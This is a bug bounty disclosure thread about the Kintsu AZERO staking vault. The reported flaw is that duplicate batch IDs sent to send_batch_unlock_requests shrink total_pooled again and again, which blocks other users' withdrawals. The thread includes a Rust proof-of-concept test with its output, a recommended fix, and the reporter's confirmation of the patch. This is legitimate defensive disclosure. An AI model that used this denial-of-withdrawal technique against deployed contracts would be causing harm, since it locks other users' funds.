KIN-H02: Malicious users can prevent other users from redeeming rewards by manipulating `total_pooled` with duplicate withdrawal requests

[hats-bug-reporter[bot]]

Github username: @coreggon11 Twitter username: krikoeth Submission hash (on-chain): 0x1bda75aedd1a99a341c83ebcc4df13c20679af8863a06c9d29b1f32170384788 Severity: high

Description:

Description

Users who stake AZERO can withdraw their stakes by first calling request_unlock and then, after a certain period they will call send_batch_unlock_requests to retrieve the tokens they requested to the vault, along with other requesters in the batch, to call redeem afterwards. The contract checks if a batch_id was already unlocked, and reverts if it was. However, users can send duplicate batch_ids to a single call, resulting in the total_pooled being decreased several times by the same amount of requested withdrawals. Since total_pooled can be brought to near 0 this way, future calls to send_batch_unlock_requests will revert, resulting in users being unable to withdraw, since decreasing of total_pooled by a value greater than total_pooled will overflow and revert.

Proof of concept

Consider the following test:

    #[test]
    fn test_withdraw_all_combined_batches_fail() -> Result<(), Box<dyn Error>> {
        let ctx = setup().unwrap();
        let sess = ctx.sess;

        // Stake 5 million AZERO
        let (_, sess) =
            helpers::call_stake(sess, &ctx.vault, &ctx.share_token, &ctx.alice, 1_000_000).unwrap();
        let (_, sess) =
            helpers::call_stake(sess, &ctx.vault, &ctx.share_token, &ctx.bob, 1_000_000).unwrap();
        let (_, sess) =
            helpers::call_stake(sess, &ctx.vault, &ctx.share_token, &ctx.charlie, 1_000_000)
                .unwrap();
        let (_, sess) =
            helpers::call_stake(sess, &ctx.vault, &ctx.share_token, &ctx.dave, 1_000_000).unwrap();
        let (_, sess) =
            helpers::call_stake(sess, &ctx.vault, &ctx.share_token, &ctx.ed, 1_000_000).unwrap();

        let (first_batch_id, sess) = helpers::query_batch_id(sess, &ctx.vault).unwrap();

        // Request unlocking of 0.5 million AZERO
        let (_, sess) =
            helpers::call_request_unlock(sess, &ctx.vault, &ctx.share_token, &ctx.alice, 500_000)
                .unwrap();

        // Wait for batch interval
        let sess = helpers::update_days(sess, 2);

        let (second_batch_id, sess) = helpers::query_batch_id(sess, &ctx.vault).unwrap();

        // Request unlocking of 2 million AZERO
        let (_, sess) =
            helpers::call_request_unlock(sess, &ctx.vault, &ctx.share_token, &ctx.bob, 500_000)
                .unwrap();
        let (_, sess) =
            helpers::call_request_unlock(sess, &ctx.vault, &ctx.share_token, &ctx.charlie, 500_000)
                .unwrap();
        let (_, sess) =
            helpers::call_request_unlock(sess, &ctx.vault, &ctx.share_token, &ctx.dave, 500_000)
                .unwrap();
        let (_, sess) =
            helpers::call_request_unlock(sess, &ctx.vault, &ctx.share_token, &ctx.ed, 500_000)
                .unwrap();

        // Wait for batch interval
        let sess = helpers::update_days(sess, 2);

        let (total_pooled_before, sess) = helpers::get_total_pooled(sess, &ctx.vault).unwrap();
        let sess = helpers::call_send_batch_unlock_requests(
            sess,
            &ctx.vault,
            &ctx.alice,
            vec![first_batch_id, first_batch_id],
        )
        .unwrap();
        let (total_pooled_after, sess) = helpers::get_total_pooled(sess, &ctx.vault).unwrap();

        println!("total_pooled_before: {total_pooled_before}");
        println!("total_pooled_after: {total_pooled_after}");

        panic!();
        Ok(())
    }

Alice calls send_batch_unlock_requests with duplicate first_batch_id, which will decrease the total_pooled by 1_000_000, although Alice is only withdrawing 500_000. We panic in the test to see the debug log, which results in the following:

total_pooled_before: 5000000
total_pooled_after: 4000220

We can see that total_pooled was decreased by 1_000_000 (some dust left). The claims left are 4_500_000, and it is impossible to get it all back now. If we duplicate the batch_id more times, we can bring it to almost 0.

Recommendation

Consider not allowing duplicate batch_ids in the send_batch_unlock_requests function.

[bmino]

good find frend

[aktech297]

some comments on this.

If a user want to raise the unlock request, they have to transfer the sAZERO first.

Whenever a request is created, if ID already exists, that id would be used, no new id will be created.

correct me if i am wrong.

[coreggon11]

@aktech297 yes, but when processing the batch requests, a single request can be processed multiple times. The attacker would not gain more tokens, but total pooled would be decreased multiple times, and next transfers expect that the total pooled value is at least the total amount of claims, which it will be not, so not all tokens will be available for withdraw.

[aktech297]

'A single request can be processed multiple time '

I think once the request is processed, it is removed from the list. Pls check

[coreggon11]

@aktech297 Please look at the code of the Valut contract, then on the PoC and run it.

[bmino]

Addressed in kintsu-contracts@461fe1

[coreggon11]

Hi @bmino, I have checked the fix. How do you ensure that the Vec coming in is sorted? If you do not enforce it, malicious users could still abuse this. Please correct me if I missed something.

EDIT: I have checked the fix again. You are checking if i-th id is greater than (i-1)-th id which enforces it, so it seems OK to me 😄

[0xmahdirostami]

Addressed in kintsu-contracts@461fe1

Seems good